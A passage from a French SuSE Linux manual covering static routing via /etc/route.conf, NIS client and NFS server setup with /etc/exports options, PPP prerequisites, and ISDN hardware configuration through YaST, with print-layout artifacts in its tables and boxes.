/etc/rc.config au sujet de l'adresse IP, de l'adresse de réseau, du masque réseau et de la passerelle. /sbin/init.d/route Sert à déterminer les routes statiques dans le réseau. Vous trouverez une description détaillée au paragraphe 5.3 page suivante. /sbin/init.d/inetd Lance inetd lorsque son lancement est prévu dans /etc/rc.config. Ceci est nécessaire lorsque l'on veut, par exemple, se connecter à cette machine depuis le ré- seau. /sbin/init.d/rpc Lance le Portmapper nécessaire à l'utilisa- tion de serveurs RPC, comme par exemple un serveur NFS. /sbin/init.d/ Lance le serveur NFS. nfsserver /sbin/init.d/sendmail Contrôle le processus sendmail en fonc- tion des paramètres contenus dans /etc/ rc.config. /sbin/init.d/ypserv Démarre le serveur NIS en fonction des paramètres contenus dans /etc/rc. config. /sbin/init.d/ypclient Démarre le client NIS en fonc- tion des paramètres contenus dans /etc/rc.config. ______________________________________________________________________________________________________________________ Tab. 5.5: Scripts de démarrage des programmes réseau * * 163 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ 5.3 Routage sous SuSE Linux Remarques préliminaires La table de routage n'est pas définie sous SuSE Linux au moyen de variables dans le fichier central de configuration /etc/rc.config mais au moyen du script /sbin/init.d/route et du fichier de configuration /etc/. Après l'initialisation du réseau par les scripts de démarrage /sbin/init. d/network, /sbin/init.d/inetd, /sbin/init.d/i4l_hardware et, le cas échéant, par d'autres scripts de démarrage, le fichier /etc/route.conf contenant la table de routage est exploré par /sbin/init.d/route et cette table de routage est configurée pour le système. Dans le fichier /etc/route.conf, on peut enregistrer toutes les routes sta- tiques qui peuvent être nécessaires aux différentes tâches d'un système : Route vers une machine, route vers une machine via une passerelle et route vers un réseau. Il est également possible d'utiliser un routage dynamique au moyen de /usr/sbin/routed dont la configuration est plus compliquée. Nous attirons ici votre attention sur la page de man de routed . Marche à suivre et utilisation Les règles qui s'appliquent au fichier de configuration /etc/route.conf se basent sur la sortie de la commande /sbin/route . Si la commande /sbin/route est invoquée sans arguments supplémentaires, la table de rou- tage utilisée par le noyau sera affichée. À l'exception des colonnes pour les entrées Flags, Metric, Ref et Use, tous les enregistrements contenus dans /etc/route.conf sont identiques. Voici brièvement quelles sont les règles applicables à /etc/route.conf : ~ Les lignes commençant par `#' et les lignes vides sont ignorées. Une entrée est constituée par une ligne comportant au minimum 2 et au maxi- mum 4 colonnes. ~ La première colonne contient l'adresse de destination. On peut définir ici l'adresse IP d'un réseau ou d'une machine ou, pour des serveurs de noms accessibles, le nom complet d'un réseau ou de la machine. ~ Le mot-clé default est réservé à la passerelle par défaut. N'utilisez pas ici 0.0.0.0 pour les entrées de routage. ~ La deuxième colonne contient soit un caractère de substitution (0.0.0.0 ), soit l'adresse IP ou le nom complet d'une machine. Cette machine peut être la passerelle par défaut ou une passerelle derrière laquelle on peut accéder à une machine ou à un réseau. ~ La troisième colonne contient le masque pour réseaux ou machines se trouvant au delà d'une passerelle. Pour les machines situées derrière une passerelle, le masque est 255.255.255.255 . ~ La dernière ligne concerne uniquement les réseaux (loopback, Ethernet, ISDN, PPP, périphériques dummy, : : :) reliés à la machine locale. Le nom du périphérique doit être ici indiqué. 164 ______________________________________________________________________________5.4.__NIS,_les_pages_jaunes_du_LAN____________* *______________________ Un exemple simple de fichier /etc/route.conf nous est donné par la figure 5.3.1. Si de nouvelles entrées sont faites dans /etc/route.conf, celles-ci seront prises en compte dans la table de routage à l'aide de l'entrée terre:~||# rcroute restart | _______________________________________________________________________________________________________________________|||| |||||||| # Destination Dummy/Gateway Netmask Device | |||||||| # | |||||||| # 192.168.0.1 0.0.0.0 255.255.255.255 ippp0 | |||||||| # default 192.168.0.1 | |||||||| # | |||||||| | |||||||| # Net devices | |||||||| # | |||||||| 127.0.0.0 0.0.0.0 255.255.255.0 lo | |||||||| 204.127.235.0 0.0.0.0 255.255.255.0 eth0 | |||||||| | |||||||| # | |||||||| # Gateway | |||||||| # | |||||||| default 204.127.235.41 | |||||||| | |||||||| # | |||||||| # Host behind Gateway | |||||||| # | |||||||| 207.68.156.51 207.68.145.45 255.255.255.255 | |||||||| | |||||||| # | |||||||| # Net behind a Gateway | |||||||| # | |||||||| 192.168.0.0 207.68.156.51 255.255.0.0 | ||||||||_______________________________________________________________________________________________________________ | fichier 5.3.1: Exemple simple de fichier /etc/route.conf 5.4 NIS, les pages jaunes du LAN 5.4.1 Qu'est-ce que le NIS ? Dès que plusieurs systèmes UNIX dans un réseau veulent avoir accès aux ressources communes, il convient de s'assurer que tous les noms d'utilisateurs et de groupes sont identiques sur toutes les machines. Le réseau doit être transparent pour l'utilisateur ; quelque soit la machine sur laquelle il travaille, il doit toujours trouver le même environnement. Ceci est rendu possible par les services NIS et NFS. NFS sert à la répartition de systèmes de fichiers dans le réseau et sera décrit au paragraphe 5.5 page 167. NIS (angl. Network Information Service)3 peut être considéré comme une base de données qui gère et distribue de manière centralisée les informations réseau contenues dans les fichiers /etc/passwd, /etc/shadow ou /etc/ group. NIS peut aussi être utilisé pour d'autres tâches plus spécialisées (par exemple pour /etc/hosts ou /etc/services) que nous ne mentionnerons pas ici. 5.4.2 Installation d'un client NIS Dans le paquetage ypclient, série n, vous trouverez tous les programmes indispensables à l'installation d'un client NIS. Pour l'installer, vous devrez parcourir les étapes suivantes : 3 ____________________________________________________ NIS est très souvent remplacé par `YP'. Il s'agit des yellow pages ou pages jaunes dans le réseau. * * 165 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ ~ Déterminer le domaine NIS lors du démarrage du système Pour cela, la variable YP_DOMAINNAME doit être positionnée dans /etc/ rc.config. Lors du passage dans un niveau d'exécution dans lequel on utilise le réseau, /sbin/init.d/network exploite cette variable et détermine le nom en conséquence. Le nom de domaine NIS ne doit pas être confondu avec le nom de do- maine DNS . Ces noms peuvent être identiques mais n'ont absolument rien à voir l'un avec l'autre ! ~ Détermination du serveur NIS. Le nom du serveur NIS est inséré dans /etc/rc.config par la variable YP_SERVER . SuSEconfig écrit ces noms, au format qui convient, dans le fichier /etc/yp.conf (voir fichier 5.4.1). Si vous avez positionné la variable avec YaST , cela sera fait automatiquement. Dans ce fichier, il doit exister une ligne commençant par le mot-clé ypserver et contenant le nom du serveur NIS. ________________________________________________________________________________________________________* *________|||| | # /etc/yp.conf * * | | # * * | | # Syntax: * * | | * * | | # * * | | # ypserver Define which host to contact * * | | * * | | # for YP service. * * | | # * * | | * * | | ypserver soleil.cosmos.univers * * | | # End of /etc/yp.conf * * | |_______________________________________________________________________________________________________* *________ | fichier 5.4.1: /etc/yp.conf ~ Le nom du serveur NIS (par exemple soleil.cosmos.univers) doit pouvoir être résolu via /etc/hosts. ~ Assurez-vous que le RPC Portmapper est lancé. NIS utilise RPC (angl. Remote Procedure Calls) et il est donc indispen- sable que le RPC Portmapper fonctionne. Ce serveur est lancé par le script /sbin/init.d/rpc. Ceci se fait aussi automatiquement si le lancement du Portmapper est défini dans le fichier /etc/rc.config. ~ Compléter les entrées dans /etc/passwd et /etc/group. Pour qu'après la recherche effectuée dans les fichiers locaux il soit adressé une requête au serveur NIS, les fichiers correspondants devront être com- plétés par une ligne commençant par le signe d'addition (`+'). NIS per- met d'activer ici un grand nombre d'autres options, par exemple Net- groups ou remplacement d'entrées NIS. ~ Lancer ypbind . La dernière phase de l'installation du client NIS est le lancement du pro- gramme ypbind qui marque le démarrage proprement dit du client NIS. Ce programme sera également lancé automatiquement si vous avez confi- guré votre réseau avec YaST . ~ Activer les modifications. 166 ______________________________________________________________________5.5.__NFS_~_Systèmes_de_fichiers_répartis_____________* *______________________ Vous devez maintenant soit redémarrer votre système, soit réactiver les services nécessaires en tapant terre:~ # rcnetwork restart terre:~ # rcypclient restart 5.4.3 Serveur maître et serveur esclave NIS Vous devez installer le paquetage ypserv, série n. La procédure exacte est décrite dans /usr/doc/packages/yp/HOWTO. 5.5 NFS ~ Systèmes de fichiers répartis Comme nous l'avons déjà mentionné au paragraphe 5.4 page 165, NFS tout comme NIS, sert à rendre le réseau transparent pour l'utilisateur. NFS permet de répartir des systèmes de fichiers dans le réseau. Quelque soit la machine sur laquelle travaille l'utilisateur, l'environnement est toujours le même. NFS, tout comme NIS, est un service asymétrique. Il existe des serveurs NFS et des clients NFS. Mais une machine peut aussi être les deux, ce qui signifie qu'elle peut simultanément mettre des systèmes de fichiers à la disposition du réseau (``exporter'') et monter les systèmes de fichiers d'autres machines (``importer''). Mais généralement, on utilise plutôt des serveurs dotés d'une très grande capacité de disque dur dont les systèmes de fichiers sont montés par des clients. 5.5.1 Importation des systèmes de fichiers Il est très simple d'importer des systèmes de fichiers depuis un serveur NFS. Il suffit d'avoir lancé le RPC Portmapper . Nous avons déjà parlé du lancement de ce serveur en relation avec NIS (voir paragraphe 5.4.2 page ci-contre). Dès que cette condition est remplie, les systèmes de fichiers externes (s'ils ont été exportés par les machines correspondantes) peuvent être montés, de la même manière qu'un système de fichier local, avec la commande mount . La syntaxe est la suivante : mount -t nfs : Si par exemple les répertoires utilisateurs doivent être importés depuis la machine soleil , on utilise la commande suivante : terre:~ # mount -t nfs soleil:/home /home 5.5.2 Exportation des systèmes de fichiers Une machine qui exporte des systèmes de fichiers est appelée serveur NFS. Sur un serveur NFS, certains programmes réseau doivent tourner : ~ RPC Portmapper (portmap ) ~ Démon RPC mount (rpc.mountd ) ~ Démon RPC NFS (rpc.nfsd ) Ils sont lancés, au moment du démarrage du système, par les scripts /sbin/init.d/rpc et /sbin/init.d/nfsserver . Le lancement du RPC Portmapper a déjà été décrit au paragraphe 5.4.2 page précédente. * * 167 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ Après le lancement de ces démons, on doit encore déterminer quels systèmes de fichiers doivent être exportés vers quelle machine. Ceci se fait dans le fichier /etc/exports. Chaque répertoire à exporter requiert une ligne dans laquelle il est précisé quelles machines peuvent y avoir accès et de quelle manière. Tous les sous- répertoires d'un répertoire exporté sont eux aussi exportés automatiquement. Les machines autorisées sont spécifiées avec leur nom (qui inclut le nom de domaine) mais il est aussi possible d'utiliser les caractères jokers `*' et ` ?' qui ont la fonction que nous connaissons déjà sous bash . S'il n'est pas indiqué de nom de machine, chaque machine sera autorisée (avec les droits spécifiés) à accéder à ce répertoire. Les droits avec lesquels le répertoire est exporté sont spécifiés entre paren- thèses après le nom de la machine. Les options les plus importantes pour les droits d'accès sont énumérées dans le tableau suivant. _______________________________________________________________________________________________________* *_________ ro Le système de fichiers est exporté avec droits de lec- ture seule (par défaut). rw Le système de fichiers est exporté avec droits de lec- ture et d'écriture. root`squash Cette option a pour effet que l'utilisateur `root' de la machine spécifiée n'a, sur ce système de fichiers, au- cun des droits spéciaux propres à l'utilisateur `root'. On obtient ceci en assignant aux utilisateurs possédant un ID 0 (root) un ID 65534 (-2) . Cet ID est assigné à l'utilisateur `nobody' (par défaut). no`root`squash Les droits d'accès de l'utilisateur `root' demeurent inchangés. link`relative Modification de liens symboliques absolus (ceux qui commencent par `/') dans une séquence de `../'. Cette option n'est utile que dans le cas où l'ensemble du système de fichiers d'une machine est monté (par défaut). link`absolute Les liens symboliques demeurent inchangés. map`identity Les mêmes ID sont utilisés sur le client et sur le ser- veur (par défaut). map`daemon Les ID utilisateurs du client et du serveur ne concordent pas. Cette option demande à nfsd de créer une table de conversion pour les ID utilisateurs. Pour cela il est toutefois nécessaire que le démon ugidd soit activé. _______________________________________________________________________________________________________* *_________ Tab. 5.6: Droits d'accès pour fichiers exportés Le fichier exports peut être semblable au fichier 5.5.1 page ci-contre. 168 ______________________________________________________________________5.5.__NFS_~_Systèmes_de_fichiers_répartis_____________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| # | |||||||||# /etc/exports || |||||||| # | |||||||| /home soleil(rw) vénus(rw) | |||||||| /usr/X11 soleil(ro) vénus(ro) | |||||||| | |||||||| /usr/lib/texmf soleil(ro) vénus(rw) | |||||||| / terre(ro,root_squash) | |||||||| | |||||||| /home/ftp (ro) | |||||||| # End of exports | ||||||||_______________________________________________________________________________________________________________ | fichier 5.5.1: /etc/exports Le fichier /etc/exports est lu par mountd et nfsd . Si quelque chose y est modifié, mountd et nfsd devront être relancés afin que la modification soit prise en compte ! La manière la plus simple d'y parvenir est de taper la commande : terre:~ # rcnfsserver restart * * 169 5. En réseau avec_Linux___________________________________________________________________________________________________________* *_______________________________________@ 170 Chapitre 6 Votre ouverture sur le monde ~ PPP, ISDN, Fax : : : Tout comme la connexion au réseau local, la connexion à un + WAN (angl. Wide Area Networks), réseau plus vaste et réparti, et l'utilisation de boîtes à lettres présentent de nombreux avantages. Dans le monde Unix, deux standards de connexion à de grands réseaux se sont établis. Il s'agit des liaisons UUCP et TCP/IP réalisées par modem ou par ISDN. Alors que UUCP (Unix to Unix CoPy) sert principalement au transport de news et de courrier électronique (E-mail) , la connexion TCP/IP représente une véritable connexion réseau qui met à disposition tous les services connus dans un LAN ~ d'ailleurs basé aussi sur TCP/IP. Si la connexion TCP/IP est établie par modem ou par ISDN, on utilise en général aujourd'hui PPP (Point to Point Protocol)1 . Pour ISDN, on utilise principalement syncPPP (voir paragraphe 6.2.5 page 180). La connexion à un WAN sera traitée dans les paragraphes suivants. PPP fera l'objet d'une courte présentation (paragraphe 6.1). Ce sera ensuite le tour de la configuration ISDN (paragraphe 6.2 page 173). Nous parlerons aussi de la connexion par modem analogique (paragraphe 6.5 page 190) et de la configuration d'une connexion PPP par modem (paragraphe 6.6 page 190). Le courrier électronique (E-mail, voir paragraphe 6.8 page 205) et la mise en place d'un système de news (paragraphe 6.9 page 208) ainsi que le fax (paragraphe 6.10 page 210) vous seront présentés dans leurs grandes lignes. 6.1 PPP PPP (angl. Point to Point Protocol) vous donne la possibilité d'utiliser TCP/IP à travers une ligne série. Le client PPP et le serveur PPP peuvent dialoguer lors de l'établissement de la connexion au moyen de différents paramètres de protocole. Le serveur peut faire connaître son adresse IP au client et lui attribuer aussi une adresse IP. PPP, contrairement à SLIP, est un standard défini qui est maintenant proposé par la plupart des fournisseurs d'accès Internet comme seul protocole de connexion. Dans PPP, le rôle central est joué par le démon pppd qui permet l'accès aux périphériques PPP. Le démon PPP peut être utilisé aussi bien comme client 1 ____________________________________________________ SLIP (Serial Line Internet Protocol) étant de moins en moins à la mode * * 171 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ que comme serveur. Pour l'établissement de la connexion proprement dite on se sert du programme wvdial ou du programme chat . 6.1.1 Conditions pour la mise en service de PPP Voici ce qui est nécessaire à la mise en service de PPP sous SuSE Linux : ~ Le noyau doit supporter TCP/IP et PPP ! C'est le cas du noyau qui vous est fourni et de ses modules ~ il ne vous est donc pas nécessaire de générer votre propre noyau. ~ Les logiciels réseau doivent être installés. Le paquetage nkita et le pa- quetage nkitb, série a sont absolument indispensables. ~ Le paquetage de base est le paquetage ppp, série n dans lequel sont inclus le démon pppd et le programme chat . ~ Si un modem analogique doit être utilisé, le paquetage wvdial, série n sera nécessaire pour l'établissement et la clôture de la connexion. ~ Si ISDN doit être configuré, lisez le paragraphe 6.2.3 page 175. ~ Vous devez aussi connaître votre nom d'utilisateur et votre mot de passe pour l'accès au serveur PPP. 6.1.2 Informations complémentaires sur PPP PPP vous offre un bon nombre de possibilités pour configurer votre connexion. Cela nous mènerait beaucoup trop loin de vous les présenter toutes. Si vous avez besoin d'autres options que celles mentionnées ici, vous pouvez lire les + pages de man qui s'y réfèrent, par exemple la page de man de pppd (man 8 pppd ). Vous trouverez en outre des informations dé- taillées dans les fichiers NET4-3-HOWTO.gz (autrefois : NET-3-HOWTO.gz) et PPP-HOWTO.gz du répertoire /usr/doc/howto/en ainsi que dans les fichiers de documentation du répertoire /usr/doc/packages/ppp ou /usr/doc/packages/wvdial. Vous trouverez des informations détaillés sur les prococoles utilisés par PPP dans les RFC correspondantes : ~ RFC1144 : Jacobson, V. ``Compressing TCP/IP headers for low-speed serial links.'' 1990 February ; ~ RFC1321 : Rivest, R. ``The MD5 Message-Digest Algorithm.'' 1992 April ; ~ RFC1332 : McGregor, G. ``PPP Internet Protocol Control Protocol (IPCP).'' 1992 May ; ~ RFC1334 : Lloyd, B. Simpson, W.A. ``PPP authentication protocols.'' 1992 October ; ~ RFC1548 : Simpson, W.A. ``The Point-to-Point Protocol (PPP).'' 1993 December ; ~ RFC1549 : Simpson, W.A. ``PPP in HDLC Framing.'' 1993 December ; 172 _____________________________________________________________6.2.__Accès_Internet_par_ISDN_~_Configuration__________________* *______________________ 6.2 Accès Internet par ISDN ~ Configuration En plus des connexions réseau ``ordinaires'', Linux est parfaitement en me- sure d'établir et de gérer des connexions réseau avec d'autres machines (par exemple avec des fournisseurs d'accès Internet). Ceci est d'autant plus simple qu'une bonne partie de la configuration ISDN2 peut être réalisée à l'aide de YaST . Ce paragraphe se réfère à la connexion standard à une autre machine via ISDN. Mais ISDN permet bien sûr aussi de faire autre chose sous Linux. Nous attirons toutefois votre attention sur le fait que les procédures mention- nées ici peuvent éventuellement ne pas être autorisées. Les cartes ISDN ac- tives, y compris leurs microprogrammes (angl. firmware), ont une autorisation qui s'applique aussi à leur mise en oeuvre sous Linux. Par contre, l'autorisa- tion des cartes passives ne s'applique en général qu'aux logiciels fournis par le constructeur. Les cartes ELSA Microlink PCI (autrefois Quickstep) et Ei- con Diva 2.01 constituent une exception à cette règle car elles sont également autorisées sous Linux. Si vous avez besoin d'une autorisation, vous devrez donc utiliser une carte active ou connecter une carte passive à une installation PABX. Contrairement à la connexion par modem, la connexion ISDN ne requiert aucune commande spéciale. Dès que le réseau est mis en place, on peut établir une connexion par des activités normales telles que le démarrage d'une session telnet , http (WWW), ftp , etc. Ce n'est qu'à ce moment que la connexion commutée est établie ; cette procédure prend environ 3 secondes. Il est possible aux utilisateurs n'ayant pas les privilèges `root' de lancer une connexion. On peut déterminer le nombre de secondes pendant lesquelles la connexion doit rester inactive avant le raccrochage automatique. Pendant toute la procédure de configuration ISDN, il est conseillé de suivre les messages du système dans le fichier_/var/log/messages._Chargez pour cela, dans un xterm (sous KDE : |A____l|t+ |F___|2et ensuite xterm ) ou une autre console virtuelle, le fichier dans le ``visualiseur'' less 3 : terre: # less +F /var/log/messages Avec l'option +F , vous pouvez voir ``en ligne'' sur l'écran l'affichage_ des nouvelles_lignes_qui viennent s'ajouter à chaque fois à ce fichier. Avec |C______|trl + c |||||||_vous quittez ce mode. Le programme xisdnload vous donne aussi la possibilité de surveiller en mode graphique le trafic ISDN. 6.2.1 Mise en service d'ISDN - Pas à pas Le paragraphe qui va suivre décrit les différences étapes à parcourir pour accéder à Internet. Faites d'abord un essai en suivant les instructions qui vous sont données et si vous n'obtenez pas de résultat ou si vous avez besoin d'informations plus détaillées, lisez attentivement les autres paragraphes. 2 ____________________________________________________ N.d.l.T : Dans le monde francophone, ISDN est connu sous le nom de + RNIS. L'acronyme ISDN étant toutefois employé dans la domumentation internationale ainsi que dans les noms de programmes, il a été conservé dans ce manuel et dans les messages de YaST afin de ne pas créer de confusion. 3 Vous trouverez des informations sur less au paragraphe 19.7.3 page 489 et pages suivantes * * 173 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ 1. Démarrez le programme YaST en__tant_ qu'utilisateur_ `root' ~ si vous êtes sous KDE, appuyez sur | ____A|lt+ | ___F|2et tapez xterm . Lancez YaST dans la nouvelle fenêtre. 2. Allez dans `Administration du système', `Configurer le ré- seau' et `Configuration de base du réseau'. 3. Créez (avec |F___|_5) un nouveau périphérique, à savoir ISDN SyncPPP . Ap- puyez sur `RETURN' pour accéder au menu `Entrée des adresses réseau'. 4. Laissez la configuration telle quelle (l'adresse IP de votre machine est 192.168.0.99 , celle de la machine à l'autre bout de la connexion Point à Point est 192.168.0.1 ). Modifiez uniquement la passerelle par défaut pour que son adresse corresponde à l'adresse de la machine distante point à point (192.168.0.1 ). Cette option doit être sélectionnée si les adresses sont assignées dynamiquement. 5. Terminez en sélectionnant `Continuer'. 6. Dans le masque `Sélection_ du réseau', vous devrez encore activer la carte avec |F___|4. 7. Stockez en mémoire avec |F_____|10. 8. La procédure se poursuit avec `Intégrer le matériel dans le système' et ensuite `Configurer le matériel ISDN'. 9. Remplissez maintenant le masque. Au cas où vous ne sauriez pas exac- tement ce que vous devez entrer, vous trouverez la documentation néces- saire sous /usr/doc/packages/i4l ainsi que dans la suite du manuel. 10. Sélectionnez ensuite dans la fenêtre l'option `Démarrer'. 11. Si vous avez obtenu un résultat positif (vous verrez alors un message apparaître à l'écran) sélectionnez Paramètres ISDN . 12. Remplissez également ce masque. 13. Sélectionnez ensuite dans le fenêtre l'option `Démarrer'. 14. Si vous avez obtenu un résultat positif (vous verrez alors un message apparaître à l'écran) sélectionnez Mémoriser . 15. Passez à `Configuration du serveur de noms', répondez `Oui' à la question. 16. Spécifiez l'adresse IP du serveur de noms (DNS) de votre fournisseur d'accès. Au cas où elle vous serait inconnue, demandez-la à votre four- nisseur d'accès. Mais le plus souvent, elle se trouve aussi sur son site Web. 17. Quittez YaST . Entrez init 1 dans la fenêtre de terminal. Ceci vous fait aussi quitter KDE (et X). 18. Connectez-vous sous le compte `root'. 19. Démarrez le réseau avec init 2 si vous lancez X avec startx . Mais si vous vous connectez en mode graphique, démarrez avec init 3 . 20. Si vous démarrez maintenant un navigateur, par exemple Netscape, vous pouvez déjà surfer sur Internet. Lancez aussi xisdnload pour pouvoir contrôler l'état de votre connexion. 174 _____________________________________________________________6.2.__Accès_Internet_par_ISDN_~_Configuration_________________* *_______________________ 21. Avec certains fournisseurs d'accès, il est en outre nécessaire de spécifier dans Netscape le serveur proxy qu'ils utilisent : Dans Netscape `Edit', `Preferences', `Advanced', `Proxies', `Manual Proxy Configuration' et ensuite `View'. Votre accès ISDN devrait maintenant fonctionner et la connexion Internet de- vrait être établie automatiquement dès que vous aurez spécifié une adresse Internet, par exemple dans Netscape. Et elle devrait aussi se terminer auto- matiquement lorsqu'aucun paquet de données n'aura été transmis pendant 60 secondes. Contrôlez le trafic avec xisdnload ! Si tout ceci ne fonctionne pas encore, poursuivez votre lecture ! 6.2.2 Vue d'ensemble SuSE Linux contient le paquetage isdn4linux constitué de pilotes maté- riels, d'interfaces réseau et d'une émulation de modems (uniquement mo- dems numériques). Il met également à disposition un logiciel pour répondeur téléphonique. Le pilote matériel pour carte ISDN est chargé par /sbin/init.d/i4l_ hardware (voir chapitre 17 page 445). La configuration de la partie ISDN est prise en charge par l'outil isdnctrl . La configuration des interfaces réseau disponibles se fait comme pour une interface Ethernet par les commandes ifconfig (page de man de ifconfig (man ifconfig )) et route (page de man de route (man route )). Sous SuSE Linux, ces tâches sont accomplies par le script /sbin/init.d/i4l (voir chapitre 17 page 445). Ce sont les différents paramètres inscrits dans le fichier /etc/rc.config qui servent ici de base. Le nom des variables utilisées s'oriente, dans la mesure du possible, aux options concernant isdnctrl . Par le script /sbin/init.d/route, le routage est configuré avec les valeurs contenues dans /etc/route.conf. La connexion est établie à la demande avec les paramètres définis par isdnctrl ou /sbin/init.d/i4l et /etc/rc.config. Ils peuvent être affichés par la commande terre: # isdnctrl list all À la demande signifie que l'une des ``routes'' ainsi créées accède à l'interface ISDN correspondante. Ceci peut être réalisé par chaque utilisateur et chaque application. 6.2.3 Configuration du matériel ISDN Conditions Pour établir une connexion ISDN sous SuSE Linux il vous faut : 1. un raccordement ISDN 2. une carte ISDN supportée 3. un SuSE Linux installé * * 175 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ 4. un noyau standard installé à partir du CD SuSE Linux. ________________________________________________________________________________________________________* *________|| | Vous n'avez pas besoin de générer votre propre noyau ~ si vous voulez * * |||| | toutefois compiler un noyau, vous devez absolument prendre les sources * * ||| | * * ||| | du paquetage lx_suse, série d ! * * ||| |_______________________________________________________________________________________________________* *________|||_ 5. le paquetage kernmod, série a 6. le paquetage i4l, série n 7. pour une documentation plus détaillée, le paquetage i4ldoc, série doc Ce que vous devez savoir : ~ Type de votre carte ISDN ~ Paramètres de la carte : IRQ, adresse de port, etc. (en fonction du type) ~ Quel protocole ISDN vous pouvez utiliser : ~ 1TR6 : (vieux) ISDN allemand ~ DSS1 : Euro-ISDN ________________________________________________________________________________________________________* *________|| | Certains grands équipements PBX/PABX déjà anciens utilisent souvent * * |||| | 1TR6 sur des bus S0 internes. * * ||| |_______________________________________________________________________________________________________* *________|||_ Quel est mon MSN/EAZ ? Pour Euro ISDN, le MSN (Multiple Subscribe Number) est le numéro d'ap- pel multiple (sans préfixe). Pour un nouveau raccordement privé, il vous est très souvent attribué trois numéros indépendants. Vous pouvez choisir indif- féremment l'un d'entre eux pour la connexion ISDN, même si vous utilisez déjà ce numéro pour les communications téléphoniques car l'indicateur de service ISDN permet de différencier le type de connexion. La carte ISDN est normalement reliée directement à un NTBA mais il peut être utile de mettre à disposition un autre bus S0 par le biais d'un PABX. Si vous utilisez l'Euro ISDN sur votre PABX, le MSN est (le plus souvent) seulement le numéro de sélection directe ou le 0 . Pour 1TR6, le MSN est remplacé par un EAZ (en allemand Endgeräte- Auswahl-Ziffer = numéro de sélection de l'appareil terminal). Le EAZ ne comporte qu'un seul chiffre que vous pouvez choisir entre 1 et 9 . N'utilisez pas 0 avec 1TR6 ! Configuration du matériel ISDN avec YaST Le pilote pour la carte ISDN est fourni par un module du noyau chargeable. Il n'est pas nécessaire pour cela de réamorcer le système. Les cartes ISDN courantes sont supportées par le pilote HiSax . Certaines cartes, comme par exemple les cartes ICN ou AVM-B1 ainsi que les cartes PnP (angl. plug and play), requièrent un traitement spécial et ne peuvent pas (encore) être configurées directement avec YaST . Pour plus d'in- formations, voir la configuration du type de cartes ISDN. Voici comment vous devez procéder, étape par étape : 176 _____________________________________________________________6.2.__Accès_Internet_par_ISDN_~_Configuration___________________* *_____________________ 1. Connectez-vous en tant qu'utilisateur `root' 2. LancezYaST 3. Sélectionnez le menu `Administration du système', `Inté- grer le matériel dans le système', `Configurer le maté- riel ISDN'. La figure 6.1 vous montre cette structure de menu. Fig. 6.1: Structure de menu pour la configuration ISDN avec YaST 4. Entrez dans le masque les paramètres suivants : ~ Démarrage de I4L Ce n'est que si ce champ est actif qu'ISDN est configuré lors de l'amorçage. Vous pouvez ainsi déterminer si une connexion ISDN peut être établie automatiquement après l'amorçage ~ Protocole ISDN Choisissez entre la vieille ISDN allemande (1TR6) et l'Euro ISDN (EDSS1) aujourd'hui en usage. Notez que pour les connexions via un PABX on utilise souvent 1TR6 ~ Type de la carte ISDN Sélectionnez la carte supportée par le pilote HiSax. Pour les cartes PnP et PCMCIA, lisez le fichier /usr/doc/packages/i4l/README. SuSE ainsi que le paragraphe 10.2.1 page 294. _______________________________________________________________________________________________________________________ |||||||| Notez que pour les cartes PCI il ne doit pas être spécifié d'adresse d'E/S ni || | |||||||| || | |||||||| d'interruption. || | ||||||||_______________________________________________________________________________________________________________||_ ~ Identification de la carte Vous devriez laisser l'identification sur HiSax . ~ Interruption Adresse de base mémoire Port d'E/S Valeur IO0 Valeur IO1 * * 177 6. Votre ouverture_sur_le_monde_~_PPP,_ISDN,_Fax_:_:_:____________________________________________________________________________* *_______________________________________@ Selon le type de votre carte, des paramètres supplémentaires peuvent être nécessaires. Seuls les paramètres indispensables pour le type de carte sélectionné sont activés, les autres valeurs sont ignorées. ~ Options pour le chargement du module ISDN Laissez ce champ vide. Vous pouvez obtenir_des informations complémentaires en appuyant sur la touche |F___|1. Vous pouvez voir le masque d'entrée dans la figure 6.2. Fig. 6.2: Masque d'entrée pour configuration ISDN avec YaST 5. Activez le bouton `Démarrage'. Il s'agit d'un test : Le module est chargé et vous pouvez voir dans la fenêtre si la carte a été reconnue correctement. En cas de réussite : Activez le bouton `Mémoriser'. Les paramètres sont stockés de façon permanente (sous forme de va- riables dans les fichiers /etc/rc.config.d/i4l_*) et pourront ainsi être de nouveau activés après le prochain amorçage ou changement de niveau d'exécution. Après le chargement du module à titre d'essai, le pilote reste chargé. En cas d'échec : Essayez d'autres paramètres et examinez les modifica- tions dans le fichier /var/log/messages. Problèmes courants : ~ Certaines cartes mères, ne permettent pas d'utiliser le IRQ 12 ou le IRQ 15. ~ Les adresses spécifiées ou les IRQ sont déjà attribués. Supprimez toutes les cartes enfichables qui ne sont pas nécessaires pour le mo- ment, par exemple cartes son et cartes réseau. ~ Le module est déjà chargé. Basculez vers une autre console et lancez la commande suivante pour décharger le module : terre: # rmmod hisax 178 _____________________________________________________________6.2.__Accès_Internet_par_ISDN_~_Configuration__________________* *______________________ ~ Vous avez une carte PnP. Consultez le fichier /usr/doc/packages/ i4l/README.SuSE. ~ Votre carte n'est pas supportée par HiSax mais par un autre pi- lote (par exemple ICN, AVM-B1). Consultez le fichier /usr/doc/ packages/i4l/README.SuSE. 6. Quittez YaST . 7. Configurer isdnlog Avant de charger les modules, vous devriez configurer isdnlog . Il a pour tâche de superviser toutes les activités sur le bus S0. Modifiez les fichiers suivants en fonction de vos besoins : ~ /etc/isdn/isdn.conf : Le premier paramètre spécifie le pays dans lequel isdn4linux est utilisé. Pour l'Allemagne, les valeurs sont celles du fichier 6.2.14 . _______________________________________________________________________________________________________________________|| |||||||| # /etc/isdn/isdn.conf | |||||||| | |||||||| [GLOBAL] | |||||||| | |||||||| COUNTRYPREFIX = + | |||||||| COUNTRYCODE = 49 | |||||||| | |||||||| AREAPREFIX = 0 | |||||||| CURRENCY = 0.12,DM | ||||||||_______________________________________________________________________________________________________________ | fichier 6.2.1: /etc/isdn/isdn.conf De même, dans la section GLOBAL, le préfixe (AREACODE) ne doit pas commencer par un zéro. Si votre préfixe est par exemple 0911 , entrez AREACODE = 911. C'est (en Allemagne) le seul point qui doit être modifié. Avec CHARGEMAX = 